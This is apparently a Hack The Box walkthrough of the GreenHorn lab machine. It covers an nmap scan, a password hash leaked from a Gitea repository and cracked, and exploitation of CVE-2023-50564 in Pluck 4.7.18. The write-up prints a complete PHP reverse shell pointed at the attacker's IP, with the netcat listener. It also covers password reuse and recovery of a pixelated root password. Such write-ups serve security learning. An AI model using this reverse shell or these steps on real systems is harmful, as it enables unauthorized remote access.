---
# System prepended metadata

title: GreenHorn

---

<style>

</style>
<div style="text-align:center;">
    <img src='https://labs.hackthebox.com/storage/avatars/b7d9a9b075fd49c8509866fe24f58dbb.png' />
    <br />
    <br />
</div>


<div>
    
> HTB machine link:
    <a href="https://app.hackthebox.com/machines/GreenHorn
">https://app.hackthebox.com/machines/GreenHorn</a>
</div>

<div style="padding-top: 20px">

```
Nmap scan result:
     nmap 10.10.11.25 -A -v                                                                                                                                                                                                          [23:14:20]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-30 23:14 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:14
Completed NSE at 23:14, 0.00s elapsed
Initiating NSE at 23:14
Completed NSE at 23:14, 0.00s elapsed
Initiating NSE at 23:14
Completed NSE at 23:14, 0.00s elapsed
Initiating Ping Scan at 23:14
Scanning 10.10.11.25 [2 ports]
Completed Ping Scan at 23:14, 0.31s elapsed (1 total hosts)
Initiating Connect Scan at 23:14
Scanning greenhorn.htb (10.10.11.25) [1000 ports]
Discovered open port 80/tcp on 10.10.11.25
Discovered open port 22/tcp on 10.10.11.25
Discovered open port 3000/tcp on 10.10.11.25
Completed Connect Scan at 23:15, 39.47s elapsed (1000 total ports)
Initiating Service scan at 23:15
Scanning 3 services on greenhorn.htb (10.10.11.25)
Completed Service scan at 23:16, 99.37s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.25.
Initiating NSE at 23:16
Completed NSE at 23:16, 8.31s elapsed
Initiating NSE at 23:16
Completed NSE at 23:17, 1.36s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
|_http-generator: pluck 4.7.18
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=f5ad8eb21619dc0e; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=Q2Iubb2NE4ryaOio-KUc8Zg4pR86MTcyMjM5NTcyMDc4NDI5NDU4OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 31 Jul 2024 03:15:20 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=1d4765fc5add1f8f; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=l3taWHRRe6ytXB4uqEY_Yvy2_dQ6MTcyMjM5NTcyNzM2Nzk0NjI4OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Wed, 31 Jul 2024 03:15:27 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=7/30%Time=66A9AC46%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,2A60,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=f5ad8eb21619dc0e;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=Q2Iubb2NE4ryaOio-KUc8Zg4pR86MTcyMjM5NTcyMDc4NDI5NDU4OA;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Wed,\x2031\x20Jul\x202024\x2003:15:20\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x
SF:20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR
SF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6
SF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh
SF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC
SF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY
SF:X")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
SF:et-Cookie:\x20i_like_gitea=1d4765fc5add1f8f;\x20Path=/;\x20HttpOnly;\x2
SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=l3taWHRRe6ytXB4uqEY_Yvy2_dQ6MTcyM
SF:jM5NTcyNzM2Nzk0NjI4OQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Wed,\x2031\x20J
SF:ul\x202024\x2003:15:27\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.37 seconds
 

 

```
</div>


<div>
    I figured out that the server is opening three common ports. If these four three cannot be exploited, I will scan for more ports. Port 80 is for http, 22 is for ssh service, 3000 is also http.
</div>
<br />

<div>
 Port 80:
    
![image](https://hackmd.io/_uploads/S1ikkNvF0.png)
Port 3000:
![image](https://hackmd.io/_uploads/Sk_71VDY0.png)
![image](https://hackmd.io/_uploads/HyHEKVwtC.png)
Structure of the site.
Website at the port 3000 contains the source code of the greenhorn.htb website. I found this folder http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings, it contains hash of the password in the pass.php file:

```
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
```
Use hash-identifier found out that this hash maybe SHA-512

<div>
    
![image](https://hackmd.io/_uploads/HJ7eW4wtC.png)
![image](https://hackmd.io/_uploads/ryutGEDKA.png)


Login at http://greenhorn.htb/login.php with the password 'iloveyou1'.

![image](https://hackmd.io/_uploads/Sy3hKNvt0.png)
From the version of Pluck 4.7.18, I found that this CMS ver has CVE that hacker can abuse to get the RCE.
> CVE-2023-50564_Pluck-v4.7.18_PoC

![image](https://hackmd.io/_uploads/BJn394wYA.png)
Show the writable options.
</div>
</div>
    
<div>
    
You prepare a file like this:
![image](https://hackmd.io/_uploads/rkmzoNvYR.png)
And zip the revshell.php to a zip file using zip command.

Reverse shell content:


```
  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.10.14.8';  // You have changed this
  $port = 9999;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 
  
```


</div>

<h3> Get shell: </h3>

Open a port to listen for connection:
> nc -nvlp 9999

<div>

![image](https://hackmd.io/_uploads/rJVAiEwFR.png)
Get to this link to upload the zip file prepared.

![image](https://hackmd.io/_uploads/ryCfZBvKR.png)
Got the shell.

I tried to use the password iloveyou1 for the user I found:
![image](https://hackmd.io/_uploads/H1Sn-BPYA.png)
![image](https://hackmd.io/_uploads/Sy8A-HPtA.png)
Succeed.
</div>

<div>
Spawn a shell and get the user flag:

![image](https://hackmd.io/_uploads/rkjrMrvF0.png)

> 6bad43667e56be8caabf4c6cf142e6cf
</div>
<br />



________________________________________________


<div>
<h3>
Privilege escalation
</h3>
The current folder has a .pdf file, I will open a http.server to get it to my machine:

![image](https://hackmd.io/_uploads/ByMWmHvtR.png)

<div>
File content:

![image](https://hackmd.io/_uploads/HyB77SvFA.png) 
The password was blured. So I find for a tool that can recover password from pixelized screenshot.
    https://github.com/spipm/Depix
But first you have to convert it from .pdf to image:
    https://www.mankier.com/1/pdfimages

![image](https://hackmd.io/_uploads/rkQVwBvY0.png)
![image](https://hackmd.io/_uploads/Hy3HvHvtR.png)
Password recovered: sidefromsidetheothersidesidefromsidetheotherside
</div>

![image](https://hackmd.io/_uploads/BydxFHvK0.png)

> 083826c0c6090d1b11e274c14bca8998
</div>
</div>


